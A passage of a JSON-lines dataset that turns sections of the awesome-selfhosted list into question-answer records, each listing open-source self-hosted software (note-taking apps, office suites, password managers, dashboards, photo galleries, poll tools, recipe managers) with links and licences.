`AGPL-3.0` `Docker`\n- [CUPS](https://www.cups.org/) - The Common Unix Print System uses Internet Printing Protocol (IPP) to support printing to local and network printers. ([Source Code](https://github.com/OpenPrinting/cups)) `GPL-2.0` `C`\n- [CyberChef](https://github.com/gchq/CyberChef) - Perform all manner of operations within a web browser such as AES, DES and Blowfish encryption and decryption, creating hexdumps, calculating hashes, and much more. ([Demo](https://gchq.github.io/CyberChef)) `Apache-2.0` `Javascript`\n- [Digiboard](https://digiboard.app/) - Create collaborative whiteboards (documentation in French). ([Source Code](https://codeberg.org/ladigitale/digiboard)) `AGPL-3.0` `Nodejs`\n- [Digicard](https://codeberg.org/ladigitale/digicard) - Create simple graphic compositions (documentation in French). ([Demo](https://ladigitale.dev/digicard/)) `AGPL-3.0` `Nodejs`\n- [Digicut](https://ladigitale.dev/digicut/) - Cut audio and video files using FFMPEG.wasm (documentation in French). ([Source Code](https://codeberg.org/ladigitale/digicut)) `AGPL-3.0` `Nodejs`\n- [Digiface](https://ladigitale.dev/digiface/) - Create avatars using the Avataaars library (documentation in French). ([Demo](https://ladigitale.dev/digiface/), [Source Code](https://codeberg.org/ladigitale/digiface)) `AGPL-3.0` `Nodejs`\n- [Digiflashcards](https://ladigitale.dev/digiflashcards/) - An online application to create flashcards (documentation in French). ([Source Code](https://codeberg.org/ladigitale/digiflashcards)) `AGPL-3.0` `Nodejs/PHP`\n- [Digimerge](https://ladigitale.dev/digimerge/) - Assemble audio and video files directly in your browser (documentation in French). ([Demo](https://ladigitale.dev/digimerge/), [Source Code](https://codeberg.org/ladigitale/Digimerge)) `AGPL-3.0` `Nodejs`\n- [Digiquiz](https://ladigitale.dev/digiquiz/) - An online application to publish content created with H5P (documentation in French). ([Source Code](https://codeberg.org/ladigitale/digiquiz)) `AGPL-3.0` `Nodejs`\n- [Digiread](https://ladigitale.dev/digiread/) `⚠` - Clean up online pages and articles using Mozilla's Readability (documentation in French). ([Source Code](https://codeberg.org/ladigitale/digiread)) `AGPL-3.0` `Nodejs/PHP`\n- [Digisteps](https://ladigitale.dev/digisteps/) - A simple application for creating online educational paths (documentation in French). ([Source Code](https://codeberg.org/ladigitale/digisteps)) `AGPL-3.0` `Nodejs/PHP`\n- [Digitranscode](https://ladigitale.dev/digitranscode) - Convert audio files and videos directly in the browser (documentation in French). ([Demo](https://ladigitale.dev/digitranscode), [Source Code](https://codeberg.org/ladigitale/digitranscode)) `AGPL-3.0` `Nodejs`\n- [Digiview](https://ladigitale.dev/digiview/) `⚠` - View YouTube videos in a distraction-free interface (documentation in French). ([Demo](https://ladigitale.dev/digiview/), [Source Code](https://codeberg.org/ladigitale/digiview)) `AGPL-3.0` `Nodejs/PHP`\n- [Digiwords](https://ladigitale.dev/digiwords/) - A simple online application for creating word clouds (documentation in French). ([Source Code](https://codeberg.org/ladigitale/digiwords)) `AGPL-3.0` `Nodejs/PHP`\n- [DOCAT](https://github.com/docat-org/docat) - Host your docs. Simple. Versioned. Fancy. `MIT`", "tags": ["awesome-selfhosted"], "source": "github_gists", "category": "awesome-selfhosted", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 268515, "answer_score": 10, "has_code": true, "url": "https://github.com/awesome-selfhosted/awesome-selfhosted", "collected_at": "2026-01-16T23:28:49.557431"}
{"id": "gh_1f24d40ef06d", "question": "How to: Monitoring", "question_body": "About awesome-selfhosted/awesome-selfhosted", "answer": "**[`^        back to top        ^`](#awesome-selfhosted)**\n\nSoftware for [monitoring](https://en.wikipedia.org/wiki/Monitoring#Computing) systems, networks, applications and websites. \n\n**Please visit [awesome-sysadmin/Monitoring](https://github.com/awesome-foss/awesome-sysadmin#monitoring), [awesome-sysadmin/Metrics and Metric Collection](https://github.com/awesome-foss/awesome-sysadmin#metrics--metric-collection)**", "tags": ["awesome-selfhosted"], "source": "github_gists", "category": "awesome-selfhosted", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 268515, "answer_score": 10, "has_code": true, "url": "https://github.com/awesome-selfhosted/awesome-selfhosted", "collected_at": "2026-01-16T23:28:49.557457"}
{"id": "gh_fc7f4c62ce2d", "question": "How to: Network Utilities", "question_body": "About awesome-selfhosted/awesome-selfhosted", "answer": "**[`^        back to top        ^`](#awesome-selfhosted)**\n\nNetwork utilities are tools and software that help manage, monitor, and troubleshoot computer networks.\n\n_See also: [awesome-sysadmin/Monitoring](https://github.com/awesome-foss/awesome-sysadmin#monitoring)_\n\n- [beelzebub](https://beelzebub-honeypot.com/) `⚠` - Honeypot framework designed to provide a highly secure environment for detecting and analyzing cyber attacks. ([Source Code](https://github.com/mariocandela/beelzebub)) `MIT` `Docker/K8S/Go`\n- [Canary Tokens](https://canarytokens.org) - Generates lightweight, embedded honeypot triggers called canary tokens for detecting unauthorized access. ([Source Code](https://github.com/thinkst/opencanary)) `BSD-3-Clause` `Docker/Python`\n- [MyIP](https://ipcheck.ing) `⚠` - All in one IP Toolbox. Easy to check what's your IPs, IP geolocation, check for DNS leaks, examine WebRTC connections, speed test, ping test, MTR test, check website availability and more. ([Demo](https://ipcheck.ing), [Source Code](https://github.com/jason5ng32/MyIP)) `MIT` `Nodejs/Docker`\n- [MySpeed](https://myspeed.dev/) - Speed test analysis software that shows your internet speed for up to 30 days. ([Source Code](https://github.com/gnmyt/myspeed)) `MIT` `Docker/Nodejs`\n- [Speed Test by OpenSpeedTest™](https://openspeedtest.com/) - Free & Open-Source HTML5 Network Performance Estimation Tool. ([Source Code](https://github.com/openspeedtest/Speed-Test)) `MIT` `Docker`\n- [Speedtest Tracker](https://docs.speedtest-tracker.dev/) - Monitor the performance and uptime of your internet connection. ([Source Code](https://github.com/alexjustesen/speedtest-tracker)) `MIT` `Docker/K8S`\n- [Upsnap](https://github.com/seriousm4x/UpSnap) - A simple Wake on LAN (WOL) dashboard app. Wake up devices on your network and see current status. `MIT` `Go/Docker`\n- [Wakupator](https://github.com/Gibus21250/Wakupator) - Wake On LAN Machine Manager based on network traffic. `MIT` `C`", "tags": ["awesome-selfhosted"], "source": "github_gists", "category": "awesome-selfhosted", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 268515, "answer_score": 10, "has_code": true, "url": "https://github.com/awesome-selfhosted/awesome-selfhosted", "collected_at": "2026-01-16T23:28:49.557465"}
{"id": "gh_77316eb71648", "question": "How to: Note-taking & Editors", "question_body": "About awesome-selfhosted/awesome-selfhosted", "answer": "**[`^        back to top        ^`](#awesome-selfhosted)**\n\n[Note taking](https://en.wikipedia.org/wiki/Note-taking) editors.\n\n_Related: [Wikis](#wikis)_\n\n- [Blinko](https://blinko.space/) - A personal note tool with AI features. ([Source Code](https://github.com/blinkospace/blinko)) `AGPL-3.0` `Docker`\n- [DailyTxT](https://github.com/PhiTux/DailyTxT) - Encrypted diary Web application to save your personal memories of each day. Includes a search function and encrypted file upload. ([Demo](https://dailytxt.phitux.de)) `MIT` `Docker`\n- [Docs](https://docs.numerique.gouv.fr/) - Collaborative note taking, wiki and documentation platform that scales. ([Source Code](https://github.com/suitenumerique/docs)) `MIT` `K8S`\n- [draw.io](https://draw.io) - Diagram software for making flowcharts, process diagrams, org charts, UML, ER and network diagrams. ([Source Code](https://github.com/jgraph/drawio)) `Apache-2.0` `Javascript/Docker`\n- [flatnotes](https://github.com/dullage/flatnotes) - Database-less note-taking web app that utilises a flat folder of markdown files for storage. ([Demo](https://demo.flatnotes.io)) `MIT` `Docker`\n- [HedgeDoc](https://hedgedoc.org/) - Realtime collaborative markdown notes on all platforms, formerly known as CodiMD and HackMD CE. ([Demo](https://demo.hedgedoc.org/), [Source Code](https://github.com/hedgedoc/hedgedoc)) `AGPL-3.0` `Docker/Nodejs`\n- [Joplin](https://joplinapp.org/) - Note taking application with markdown editor and encryption support for mobile and desktop platforms. Runs client-side and syncs through a self hosted Nextcloud instance or similar (alternative to Evernote). ([Source Code](https://github.com/laurent22/joplin)) `MIT` `Nodejs`\n- [Livebook](https://livebook.dev) - Realtime collaborative notebook app based on Markdown that supports running Elixir code snippets, TeX and Mermaid Diagrams. Easily deployed using Docker or Elixir. ([Source Code](https://github.com/livebook-dev/livebook)) `Apache-2.0` `Elixir/Docker`\n- [Many Notes](https://github.com/brufdev/many-notes) - Markdown note-taking web application designed for simplicity. `MIT` `Docker`\n- [Memos](https://usememos.com/) - Knowledge base that works with a SQLite db file. ([Demo](https://demo.usememos.com/explore), [Source Code](https://github.com/usememos/memos)) `MIT` `Docker/Go`\n- [Note Mark](https://notemark.docs.enchantedcode.co.uk/) - Minimal web-based Markdown notes app. ([Source Code](https://github.com/enchant97/note-mark)) `AGPL-3.0` `Docker`\n- [Overleaf](https://www.overleaf.com/) - Web-based collaborative LaTeX editor. ([Source Code](https://github.com/overleaf/overleaf)) `AGPL-3.0` `Ruby`\n- [Plainpad](https://alextselegidis.com/get/plainpad/) - Modern note taking application for the cloud, utilizing the best features of progressive web apps technology. ([Demo](https://alextselegidis.com/try/plainpad/), [Source Code](https://github.com/alextselegidis/plainpad)) `GPL-3.0` `PHP`\n- [SilverBullet](https://silverbullet.md/) - Note-taking application optimized for people with a hacker mindset. ([Demo](https://play.silverbullet.md/), [Source Code](https://github.com/silverbulletmd/silverbullet), [Clients](https://silverbullet.md/Libraries)) `MIT` `Docker/Deno`\n- [Standard Notes](https://docs.standardnotes.com/self-hosting/getting-started) - Simple and private notes app. Protect your privacy while getting more done. That's Standard Notes. ([Demo](https://app.standardnotes.com/), [Source Code](https://github.com/standardnotes/app)) `GPL-3.0` `Ruby`\n- [TriliumNext Notes](https://github.com/TriliumNext/Trilium) - Cross-platform hierarchical note taking application with focus on building large personal knowledge bases (fork of Trilium Notes). `AGPL-3.0` `Nodejs/Docker/K8S`\n- [Turtl](https://turtl.it/) - Totally private personal database and note taking app. ([Source Code](https://github.com/turtl)) `GPL-3.0` `CommonLisp`\n- [Writing](https://josephernest.github.io/writing/) - Lightweight distraction-free text editor, in the browser (Markdown and LaTeX supported). No lag when writing. ([Source Code](https://github.com/josephernest/writing)) `MIT` `Javascript`", "tags": ["awesome-selfhosted"], "source": "github_gists", "category": "awesome-selfhosted", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 268515, "answer_score": 10, "has_code": true, "url": "https://github.com/awesome-selfhosted/awesome-selfhosted", "collected_at": "2026-01-16T23:28:49.557476"}
{"id": "gh_1e626b53b0ce", "question": "How to: Office Suites", "question_body": "About awesome-selfhosted/awesome-selfhosted", "answer": "**[`^        back to top        ^`](#awesome-selfhosted)**\n\nAn [office suite](https://en.wikipedia.org/wiki/List_of_office_suites) is a collection of productivity software usually containing at least a word processor, spreadsheet and a presentation program.\n\n- [Collabora Online Development Edition](https://www.collaboraoffice.com/code) - Collabora Online Development Edition (CODE) is a powerful LibreOffice-based online office that supports all major document, spreadsheet and presentation file formats, which you can integrate in your own infrastructure. ([Source Code](https://cgit.freedesktop.org/libreoffice/online/)) `MPL-2.0` `C++`\n- [CryptPad](https://cryptpad.org) - Collaboration suite built to enable collaboration, synchronizing changes to documents in real time. ([Source Code](https://github.com/cryptpad/cryptpad)) `AGPL-3.0` `Nodejs/Docker`\n- [Digislides](https://ladigitale.dev/digislides/) - Create multimedia presentations in a quick and easy way. (documentation in French). ([Demo](https://ladigitale.dev/digislides/), [Source Code](https://codeberg.org/ladigitale/Digislides)) `AGPL-3.0` `Nodejs/PHP`\n- [Etherpad](https://etherpad.org/) - Highly customizable online editor providing collaborative editing in real-time. ([Demo](https://demo.sandstorm.io/appdemo/h37dm17aa89yrd8zuqpdn36p6zntumtv08fjpu8a8zrte7q1cn60), [Source Code](https://github.com/ether/etherpad-lite)) `Apache-2.0` `Nodejs/Docker`\n- [Grist](https://getgrist.com/) - Next-generation spreadsheet with relational structure, formula-based access control, and a portable, self-contained format (alternative to Airtable). ([Demo](https://docs.getgrist.com), [Source Code](https://github.com/gristlabs/grist-core)) `Apache-2.0` `Nodejs/Python/Docker`\n- [ONLYOFFICE](https://helpcenter.onlyoffice.com/faq/server-opensource.aspx) - Office suite that enables you to manage documents, projects, team and customer relations in one place. ([Source Code](https://github.com/ONLYOFFICE/DocumentServer)) `AGPL-3.0` `Nodejs/Docker`", "tags": ["awesome-selfhosted"], "source": "github_gists", "category": "awesome-selfhosted", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 268515, "answer_score": 10, "has_code": true, "url": "https://github.com/awesome-selfhosted/awesome-selfhosted", "collected_at": "2026-01-16T23:28:49.557483"}
{"id": "gh_2303d8820b05", "question": "How to: Password Managers", "question_body": "About awesome-selfhosted/awesome-selfhosted", "answer": "**[`^        back to top        ^`](#awesome-selfhosted)**\n\nA [password manager](https://en.wikipedia.org/wiki/Password_manager) allows users to store, generate, and manage their passwords for local applications and online services.\n\n- [AliasVault](https://www.aliasvault.net) - End-to-end encrypted password manager with a built-in email alias generator and server. ([Source Code](https://github.com/lanedirt/AliasVault)) `MIT` `Docker`\n- [Bitwarden](https://bitwarden.com/) `⚠` - Password manager with a webapp, browser extension, and mobile app. ([Source Code](https://github.com/bitwarden/server)) `AGPL-3.0` `Docker/C#`\n- [Passbolt](https://www.passbolt.com/) - Collaborative password manager. ([Source Code](https://github.com/passbolt/passbolt_api)) `AGPL-3.0` `PHP/deb/K8S/Docker`\n- [PassIt](https://passit.io/) - Simple password manage with sharing features by group and user, but no administration interface. ([Demo](https://app.passit.io/), [Source Code](https://gitlab.com/passit)) `AGPL-3.0` `Docker/Django`\n- [Psono](https://psono.com/) - Password manager for companies. ([Demo](https://www.psono.pw), [Source Code](https://gitlab.com/esaqa/psono/psono-fileserver)) `Apache-2.0` `Python`\n- [Teampass](https://teampass.net/) - Password manager dedicated for managing passwords in a collaborative way. One symmetric key is used to encrypt all shared/team passwords and stored server side in a file and the database. works on any server Apache, MySQL and PHP. ([Source Code](https://github.com/nilsteampassnet/TeamPass)) `GPL-3.0` `PHP`\n- [Vaultwarden](https://github.com/dani-garcia/vaultwarden) - Lightweight Bitwarden server API implementation written in Rust. `GPL-3.0` `Rust/Docker`", "tags": ["awesome-selfhosted"], "source": "github_gists", "category": "awesome-selfhosted", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 268515, "answer_score": 10, "has_code": true, "url": "https://github.com/awesome-selfhosted/awesome-selfhosted", "collected_at": "2026-01-16T23:28:49.557490"}
{"id": "gh_0be8ab17442b", "question": "How to: Personal Dashboards", "question_body": "About awesome-selfhosted/awesome-selfhosted", "answer": "**[`^        back to top        ^`](#awesome-selfhosted)**\n\nDashboards for accessing information and applications.\n\n_Related: [Monitoring](#monitoring), [Bookmarks and Link Sharing](#bookmarks-and-link-sharing)_\n\n- [Dashy](https://dashy.to/) - Feature-rich homepage for your homelab, with easy YAML configuration. ([Demo](https://demo.dashy.to/), [Source Code](https://github.com/lissy93/dashy)) `MIT` `Nodejs/Docker`\n- [Fenrus](https://github.com/revenz/fenrus) - Personal home page that allows for multiple users, guest access and multiple dashboards for each user. It also has \"Smart Apps\" which display live data for those apps. `GPL-3.0` `.NET/Docker`\n- [Glance](https://github.com/glanceapp/glance) - Highly customizable dashboard that puts all your feeds in one place. `AGPL-3.0` `Docker/Go`\n- [gobookmarks](https://github.com/arran4/gobookmarks) - Landing page to display bookmarks stored in GitHub, GitLab or local Git. `AGPL-3.0` `Go/Docker`\n- [Heimdall](https://heimdall.site/) - Elegant solution to organise all your web applications. ([Source Code](https://github.com/linuxserver/Heimdall)) `MIT` `PHP`\n- [Hiccup](https://designedbyashw.in/test/hiccup/) - Beautiful static homepage to get to your links and services quickly. It has built-in search, editing, PWA support and localstorage caching to easily organize your start page. ([Source Code](https://github.com/ashwin-pc/hiccup)) `MIT` `Javascript/Docker`\n- [Homarr](https://homarr.dev) - Sleek, modern dashboard with many integrations and web-based config. ([Source Code](https://github.com/homarr-labs/homarr)) `MIT` `Docker/Nodejs`\n- [Homepage by gethomepage](https://github.com/gethomepage/homepage) - Highly customizable homepage (or startpage / application dashboard) with Docker and service API integrations. `GPL-3.0` `Docker/Nodejs`\n- [Homepage by tomershvueli](https://github.com/tomershvueli/homepage) - Simple, standalone, self-hosted PHP page that is your window to your server and the web. `MIT` `PHP`\n- [Homer](https://github.com/bastienwirtz/homer) - Dead simple static homepage to expose your server services, with an easy yaml configuration and connectivity check. ([Demo](https://homer-demo.netlify.app)) `Apache-2.0` `Docker/K8S/Nodejs`\n- [Hubleys](https://github.com/knrdl/hubleys-dashboard) - Personal dashboards to organize links for multiple users via a central yaml config. `MIT` `Docker`\n- [LinkStack](https://linkstack.org/) - Link all your social media platforms easily accessible on one page, customizable through an intuitive, easy to use user/admin interface (alternative to Linktree and Manylink). ([Demo](https://linksta.cc/), [Source Code](https://github.com/LinkStackOrg/LinkStack)) `AGPL-3.0` `PHP/Docker`\n- [LittleLink](https://littlelink.io/) - Simplistic approach for links in bio with 100+ branded buttons (alternative to Linktree). ([Demo](https://littlelink.io/), [Source Code](https://github.com/sethcottle/littlelink)) `MIT` `Javascript`\n- [Mafl](https://mafl.hywax.space/) - Minimalistic flexible homepage. ([Source Code](https://github.com/hywax/mafl)) `MIT` `Docker/Nodejs`\n- [Personal Management System](https://volmarg.github.io/) - Organize the essentials of everyday life, everything from a simple to-do list, and notes up to payments, and schedules. ([Demo](https://github.com/Volmarg/personal-management-system#documentation--demo), [Source Code](https://github.com/Volmarg/personal-management-system)) `MIT` `Docker`\n- [portkey](https://portkey.page) - Simple web portal that serves as a startup page, displaying a compilation of links and URLs, while also allowing the addition of custom pages, all managed through a single configuration file. ([Demo](https://demo.portkey.page), [Source Code](https://github.com/kodehat/portkey)) `AGPL-3.0` `Go/Docker`\n- [ryot](https://github.com/ignisda/ryot) - Track various facets of your life - media, fitness, etc. ([Demo](https://github.com/IgnisDa/ryot?tab=readme-ov-file#-demo)) `GPL-3.0` `Docker`\n- [Starbase 80](https://github.com/notclickable-jordan/starbase-80) - A simple homepage with an iPad-style application grid, for mobile and desktop. One JSON configuration file. `MIT` `Docker`\n- [Your Spotify](https://github.com/Yooooomi/your_spotify) `⚠` - Allows you to record your Spotify listening activity and have statistics about them served through a Web application. `MIT` `Nodejs/Docker`", "tags": ["awesome-selfhosted"], "source": "github_gists", "category": "awesome-selfhosted", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 268515, "answer_score": 10, "has_code": true, "url": "https://github.com/awesome-selfhosted/awesome-selfhosted", "collected_at": "2026-01-16T23:28:49.557505"}
{"id": "gh_054b211b904d", "question": "How to: Photo Galleries", "question_body": "About awesome-selfhosted/awesome-selfhosted", "answer": "**[`^        back to top        ^`](#awesome-selfhosted)**\n\nA [gallery](https://en.wikipedia.org/wiki/Gallery_Software) is software that helps the user publish or share photos, pictures, videos or other digital media.\n\n_Related: [Static Site Generators](#static-site-generators), [Media Streaming - Video Streaming](#media-streaming---video-streaming), [Content Management Systems (CMS)](#content-management-systems-cms)_\n\n- [Chevereto](https://chevereto.com/) - Ultimate image sharing software. Create your very own personal image hosting website in just minutes. ([Source Code](https://github.com/chevereto/chevereto)) `AGPL-3.0` `PHP/Docker`\n- [Damselfly](https://damselfly.info) - Fast server-based photo management system for large collections of images. Includes face detection, face & object recognition, powerful search, and EXIF Keyword tagging. Runs on Linux, MacOS and Windows. ([Source Code](https://github.com/webreaper/damselfly)) `GPL-3.0` `Docker/C#/.NET`\n- [Ente](https://ente.io/) - An end-to-end encrypted photo-sharing platform (alternative to Google Photos, Apple Photos). ([Source Code](https://github.com/ente-io/ente)) `AGPL-3.0` `Docker/Nodejs/Go`\n- [HomeGallery](https://home-gallery.org) - Browse personal photos and videos featuring tagging, mobile-friendly, and AI powered image discovery. ([Demo](https://demo.home-gallery.org), [Source Code](https://github.com/xemle/home-gallery)) `MIT` `Nodejs/Docker`\n- [Immich Kiosk](https://github.com/damongolding/immich-kiosk) - Lightweight slideshow for running on kiosk devices and browsers that uses Immich as a data source. `GPL-3.0` `Docker/Go`\n- [Immich](https://immich.app/) - Photo and video backup solution directly from your mobile phone. ([Demo](https://github.com/immich-app/immich#demo), [Source Code](https://github.com/immich-app/immich)) `AGPL-3.0` `Docker`\n- [LibrePhotos](https://github.com/LibrePhotos/librephotos) - Photo management service with a slight focus on cool graphs (alternative to Google Photos). ([Clients](https://docs.librephotos.com/docs/user-guide/mobile/)) `MIT` `Python/Docker`\n- [Lychee](https://lycheeorg.github.io/) - Grid and album based photo-management-system. ([Source Code](https://github.com/LycheeOrg/Lychee)) `MIT` `PHP/Docker`\n- [Mediagoblin](https://mediagoblin.org) - Media publishing platform that anyone can run (alternative to Flickr, YouTube, SoundCloud). ([Source Code](https://git.savannah.gnu.org/cgit/mediagoblin.git/tree/)) `AGPL-3.0` `Python`\n- [Mejiro](https://github.com/dmpop/pellicola) - Easy-to-use instant photo publishing. `GPL-3.0` `PHP`\n- [Nextcloud Memories](https://memories.gallery/) - Fast, modern and advanced photo management suite. Runs as a Nextcloud app. ([Demo](https://demo.memories.gallery/apps/memories/), [Source Code](https://github.com/pulsejet/memories)) `AGPL-3.0` `PHP`\n- [Photofield](https://github.com/SmilyOrg/photofield) - Experimental fast photo viewer. `MIT` `Docker/Go`\n- [PhotoPrism](https://photoprism.org) - Personal photo management powered by Go and Google TensorFlow.  Browse, organize, and share your personal photo collection, using the latest technologies to automatically tag and find pictures. ([Demo](https://demo.photoprism.app/library/browse), [Source Code](https://github.com/photoprism/photoprism)) `AGPL-3.0` `Go/Docker`\n- [Photoview](https://photoview.github.io/) - Simple and user-friendly photo gallery for personal servers. It is made for photographers and aims to provide an easy and fast way to navigate directories, with thousands of high resolution photos. ([Demo](https://photoview.github.io/), [Source Code](https://github.com/photoview/photoview)) `GPL-3.0` `Go/Docker`\n- [PiGallery 2](https://bpatrik.github.io/pigallery2/) - Directory-first photo gallery website, with a rich UI, optimised for running on low resource servers. ([Source Code](https://github.com/bpatrik/pigallery2)) `MIT` `Docker/Nodejs`\n- [Piwigo](https://piwigo.org/) - Photo gallery software for the web, built by an active community of users and developers. ([Source Code](https://github.com/Piwigo/Piwigo)) `GPL-2.0` `PHP`\n- [sigal](https://github.com/saimn/sigal) - Yet another simple static gallery generator. `MIT` `Python`\n- [SPIS](https://github.com/gbbirkisson/spis) - A simple, lightweight and fast media server with decent mobile support. `GPL-3.0` `Docker/Rust`\n- [This week in past](https://github.com/RouHim/this-week-in-past) - Aggregates images taken this week, from previous years and presents them on a web page with a simple slideshow. `MIT` `Docker/Rust`\n- [Thumbor](http://thumbor.org/) - A smart imaging service and enables on-demand cropping, resizing, applying filters and optimizing images. ([Source Code](https://github.com/thumbor/thumbor)) `MIT` `Python/Docker`\n- [WeddingShare](https://docs.wedding-share.org/) - Event photo sharing platform and gallery with slideshow that allows guests to view and share memories via a QR code. ([Demo](https://demo.wedding-share.org/), [Source Code](https://github.com/", "tags": ["awesome-selfhosted"], "source": "github_gists", "category": "awesome-selfhosted", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 268515, "answer_score": 10, "has_code": true, "url": "https://github.com/awesome-selfhosted/awesome-selfhosted", "collected_at": "2026-01-16T23:28:49.557514"}
{"id": "gh_02e2ab68605e", "question": "How to: Polls and Events", "question_body": "About awesome-selfhosted/awesome-selfhosted", "answer": "**[`^        back to top        ^`](#awesome-selfhosted)**\n\nSoftware for organising [polls](https://en.wikipedia.org/wiki/Opinion_poll) and [events](https://en.wikipedia.org/wiki/Event).\n\n_Related: [Booking and Scheduling](#booking-and-scheduling)_\n\n- [Bitpoll](https://github.com/fsinfuhh/Bitpoll) - Conduct polls about dates, times or general questions. ([Demo](https://bitpoll.de/)) `GPL-3.0` `Docker/Python`\n- [Bracket](https://docs.bracketapp.nl/) - Flexible tournament system to build a tournament setup, add teams, schedule matches, keep track of scores and present ranking live to the public. ([Demo](https://www.bracketapp.nl/demo), [Source Code](https://github.com/evroon/bracket)) `AGPL-3.0` `Docker/Nodejs`\n- [Christmas Community](https://github.com/Wingysam/Christmas-Community) - Create a simple place for your entire family to use to find gifts that people want, and to avoid double-gifting. `AGPL-3.0` `Docker/Nodejs`\n- [Claper](https://claper.co/) - The ultimate tool to interact with your audience (alternative to Slido, AhaSlides and Mentimeter). ([Source Code](https://github.com/ClaperCo/Claper)) `GPL-3.0` `Elixir/Docker`\n- [ClearFlask](https://clearflask.com) - Community-feedback tool for managing incoming feedback and prioritizing a public roadmap (alternative to Canny, UserVoice, Upvoty). ([Demo](https://product.clearflask.com), [Source Code](https://github.com/clearflask/clearflask)) `AGPL-3.0` `Docker`\n- [docassemble](https://docassemble.org/) - A free, open-source expert system for guided interviews and document assembly, based on Python, YAML, and Markdown. ([Demo](https://demo.docassemble.org/run/legal), [Source Code](https://github.com/jhpyle/docassemble)) `MIT` `Docker/Python`\n- [Fider](https://fider.io) - Open platform to collect and prioritize feedback (alternative to UserVoice). ([Demo](https://demo.fider.io), [Source Code](https://github.com/getfider/fider)) `MIT` `Docker`\n- [Formbricks](https://formbricks.com) - Experience Management Suite built on the largest open source survey stack worldwide. Gracefully gather feedback at every step of the customer journey to know what your customers need. ([Demo](https://app.formbricks.com), [Source Code](https://github.com/formbricks/formbricks)) `AGPL-3.0` `Nodejs/Docker`\n- [Framadate](https://framadate.org/abc/) - Online service for planning an appointment or make a decision quickly and easily: Make a poll, Define dates or subjects to choose, Send the poll link to your friends or colleagues, Discuss and make a decision. ([Demo](https://framadate.org/aqg259dth55iuhwm), [Source Code](https://framagit.org/framasoft/framadate?)) `CECILL-B` `PHP`\n- [Gancio](https://gancio.org/) - Local community event and agenda sharing. ([Demo](https://demo.gancio.org/), [Source Code](https://framagit.org/les/gancio)) `AGPL-3.0` `Nodejs`\n- [gathio](https://docs.gath.io/) - Self-destructing, shareable, no-registration event pages. ([Demo](https://gath.io/), [Source Code](https://github.com/lowercasename/gathio)) `GPL-3.0` `Nodejs/Docker`\n- [HeyForm](https://heyform.net) - Form builder that allows anyone to create engaging conversational forms for surveys, questionnaires, quizzes, and polls. ([Source Code](https://github.com/heyform/heyform)) `AGPL-3.0` `Docker`\n- [hitobito](https://hitobito.com) - Manage complex group hierarchies with members, events and a lot more. ([Demo](https://demo.hitobito.com/en/users/sign_in), [Source Code](https://github.com/hitobito/hitobito)) `AGPL-3.0` `Ruby`\n- [Input](https://getinput.co) - Privacy-focused, no-code, open-source form builder designed for simplicity and brand consistency. ([Source Code](https://github.com/deck9/input)) `AGPL-3.0` `PHP/Nodejs/Docker`\n- [LimeSurvey](https://www.limesurvey.org) - Feature-rich web-based polling software. Supports extensive survey logic. ([Demo](https://demo.limesurvey.org), [Source Code](https://github.com/LimeSurvey/LimeSurvey)) `GPL-2.0` `PHP`\n- [Meetable](https://events.indieweb.org) - Minimal events aggregator. ([Source Code](https://github.com/aaronpk/Meetable)) `MIT` `PHP`\n- [Mobilizon](https://mobilizon.org) - Federated tool that helps you find, create and organise events and groups. ([Source Code](https://framagit.org/framasoft/mobilizon/)) `AGPL-3.0` `Elixir/Docker`\n- [OpnForm](https://opnform.com) - Beautiful open-source form builder. ([Demo](https://opnform.com/forms/create/guest), [Source Code](https://github.com/JhumanJ/opnform)) `AGPL-3.0` `PHP/Nodejs/Docker`", "tags": ["awesome-selfhosted"], "source": "github_gists", "category": "awesome-selfhosted", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 268515, "answer_score": 10, "has_code": true, "url": "https://github.com/awesome-selfhosted/awesome-selfhosted", "collected_at": "2026-01-16T23:28:49.557523"}
{"id": "gh_93b72b3acfe0", "question": "How to: Recipe Management", "question_body": "About awesome-selfhosted/awesome-selfhosted", "answer": "**[`^        back to top        ^`](#awesome-selfhosted)**\n\nSoftware and tools for managing [recipes](https://en.wikipedia.org/wiki/Recipe).\n\n- [Bar Assistant](https://barassistant.app/) - Manage your home bar while adding your ingredients, searching for cocktails and creating custom cocktail recipes. ([Demo](https://demo.barassistant.app/), [Source Code](https://github.com/karlomikus/bar-assistant)) `MIT` `PHP/Docker`\n- [CookCLI](https://cooklang.org) - Command-line tool for automating meal planning and shopping with Cooklang recipes, scriptable for UNIX workflows, includes web server. ([Source Code](https://github.com/cooklang/CookCLI)) `MIT` `Rust`\n- [Fork Recipes](https://mikebgrep.github.io/forkapi/latest/clients/) - Manage your food recipes with simplicity. ([Source Code](https://github.com/mikebgrep/fork.recipes)) `BSD-3-Clause` `Docker`\n- [KitchenOwl](https://docs.kitchenowl.org/latest/) - Cross-platform shopping list, recipe storage, expense tracker, and meal planner following the material design language. ([Source Code](https://github.com/TomBursch/kitchenowl)) `AGPL-3.0` `Docker/deb`\n- [ManageMeals](https://managemeals.com/) - Manage recipes, import recipes by URL and organize them without any ads or unnecessary text. ([Demo](https://demo.managemeals.com/), [Source Code](https://github.com/managemeals/manage-meals-web)) `GPL-3.0` `Docker`\n- [Mealie](https://nightly.mealie.io/) - Material design inspired recipe manager with category and tag management, shopping-lists, meal-planner, and site customizations. Mealie is focused on simple user interactions to keep the whole family using the app. ([Demo](https://demo.mealie.io), [Source Code](https://github.com/mealie-recipes/mealie)) `MIT` `Python`\n- [RecipeSage](https://github.com/julianpoy/recipesage) - A recipe keeper, meal plan organizer, and shopping list manager that can import recipes directly from any URL. ([Demo](https://recipesage.com)) `AGPL-3.0` `Nodejs`\n- [Recipya](https://recipes.musicavis.ca) - Clean, simple and powerful recipe manager your whole family will enjoy. ([Demo](https://recipes.musicavis.ca/guide/login), [Source Code](https://github.com/reaper47/recipya)) `GPL-3.0` `Docker/Go`\n- [Specifically Clementines](https://davideshay.github.io/groceries/) - Grocery shopping app (previously Groceries), providing reliable sync with multiple users/devices (web/Android/iOS), recipes and integration with Tandoor. ([Source Code](https://github.com/davideshay/groceries)) `MIT` `Docker`\n- [Tamari](https://tamariapp.com) - Recipe manager web app with a built-in collection of recipes. Organize by favorites and categories, create shopping lists, and plan meals. 